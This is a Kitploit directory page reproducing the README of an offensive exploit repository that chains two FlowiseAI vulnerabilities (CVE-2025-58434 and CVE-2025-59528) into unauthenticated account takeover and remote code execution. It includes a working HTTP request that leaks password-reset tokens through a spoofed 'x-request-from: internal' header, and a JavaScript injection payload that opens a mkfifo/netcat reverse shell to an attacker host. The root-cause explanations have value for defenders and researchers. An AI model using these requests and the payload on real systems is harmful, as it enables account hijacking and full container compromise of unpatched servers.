Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
FlowiseAI-Critical-KillChain — Critical unauthenticated kill chain leading to full RCE in FlowiseAI (CVE-2025-58434 + CVE-2025-59528) | Kitploit
Tools/GitHubGitHub/cveteam/flowiseai-critical-killchain
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationRed TeamingPayload Development
GitHub
cveteam/flowiseai-critical-killchain

FlowiseAI-Critical-KillChain

Critical unauthenticated kill chain leading to full RCE in FlowiseAI (CVE-2025-58434 + CVE-2025-59528)

View Repository
185 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

FlowiseAI — Critical Kill Chain

Unauthenticated Account Takeover chained with Remote Code Execution against FlowiseAI <= 3.0.5.
Full container compromise in under 5 seconds, zero credentials required.


Kill Chain

FlowiseAI Kill Chain Diagram
Left: FlowiseAI login page — Right: root shell via CVE-2025-59528 · uid=0(root)


Table of Contents

  • How It Works — Overview
  • Vulnerability Details
    • CVE-2025-58434 — Token Disclosure
    • CVE-2025-59528 — Remote Code Execution
  • Why This Chain Is Deadly
  • Exploit Code Walkthrough
  • Usage
  • Post-Exploitation
  • Mitigation
  • References

How It Works — Overview

This exploit chains two independent critical vulnerabilities into a single fully automated attack. Neither vulnerability alone guarantees full compromise — but together, they form a complete kill chain from zero credentials to a root shell inside a Docker container.

[No credentials]
      │
      ▼
① Abuse forgot-password endpoint (no auth required)
      │  → Server responds with the victim's reset token in plaintext
      ▼
② Submit token to reset-password endpoint
      │  → Attacker controls the admin password
      ▼
③ Login + retrieve Bearer API key
      │  → Full authenticated session established
      ▼
④ Send JavaScript payload via customMCP node
      │  → Server evaluates it via Function() constructor
      ▼
[Root shell inside Docker container]

What makes it zero-interaction: at no point does the victim receive an email, see a login alert, or trigger any visible event. The attack is entirely server-side.


Vulnerability Details

CVE-2025-58434 — Unauthenticated Password Reset Token Disclosure

CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected: FlowiseAI <= 3.0.5 (cloud + self-hosted)
Advisory: GHSA-wgpv-6j63-x5ph

Root Cause

FlowiseAI has a concept of "internal" requests — API calls made between its own services — identified by the x-request-from: internal HTTP header. The /api/v1/account/forgot-password endpoint uses this header to skip authentication entirely and return a different, more verbose response than it would for external callers.

The problem: this header is not validated or restricted in any way. Any attacker on the internet can send it. When they do, instead of triggering a password reset email, the API responds with the full user record — including a live tempToken that can be immediately used to set a new password.

Why it works

Normally, a password reset flow looks like:

User requests reset → Server generates token → Token sent by EMAIL → User clicks link → Password changed

Here, the server skips the email step entirely and puts the token directly in the HTTP response body. The attacker catches it and moves straight to the reset step — no email access needed.

Request

POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal

{"user": {"email": "[email protected]"}}

Response 201 — full user record exposed

{
  "user": {
    "email": "[email protected]",
    "credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
    "tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
    "tokenExpiry": "2026-04-11T21:37:03.063Z",
    "status": "active"
  }
}

The tempToken is then submitted directly to the reset endpoint — no email interaction, no CAPTCHA, no rate limit.


CVE-2025-59528 — Remote Code Execution via CustomMCP Node

CVSS 3.1: 10.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected: FlowiseAI <= 3.0.5
Advisory: GHSA-3gcm-f6qx-ff7p

Root Cause

FlowiseAI allows users to define custom MCP (Model Context Protocol) nodes with server configuration supplied as a JSON string. Internally, the platform needs to parse this configuration — and it does so using JavaScript's Function() constructor, which is functionally equivalent to eval().

The configuration string reaches the sink completely unsanitized:

// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
//                       ↑ unsanitized user input — arbitrary JS execution

Why Function() is as dangerous as eval()

Function('return ' + code)() does the following:

  1. Constructs a new JavaScript function with code as its body
  2. Immediately invokes it
  3. Returns the result

This gives the attacker a full JavaScript execution context with access to process, require, child_process, and the entire Node.js runtime — not a sandbox.

Taint flow — from HTTP to shell

HTTP POST /api/v1/node-load-method/customMCP
  └─ body.inputs.mcpServerConfig                  ← attacker-controlled string
       └─ substituteVariablesInString()            ← no filtering, passes through
            └─ convertToValidJSONString()          ← no filtering, passes through
                 └─ Function('return ' + input)()  ← arbitrary code executes here

Injection payload

({x:(function(){
  const cp = process.mainModule.require("child_process");
  cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
  return 1;
})()})

Why mkfifo and not /dev/tcp?
The container runs /bin/sh, not /bin/bash. /dev/tcp is a bash-only feature — it does not exist in standard POSIX shells. mkfifo creates a named pipe that works in any POSIX-compliant shell, making the reverse shell portable across container environments.


Why This Chain Is Deadly

Download Tool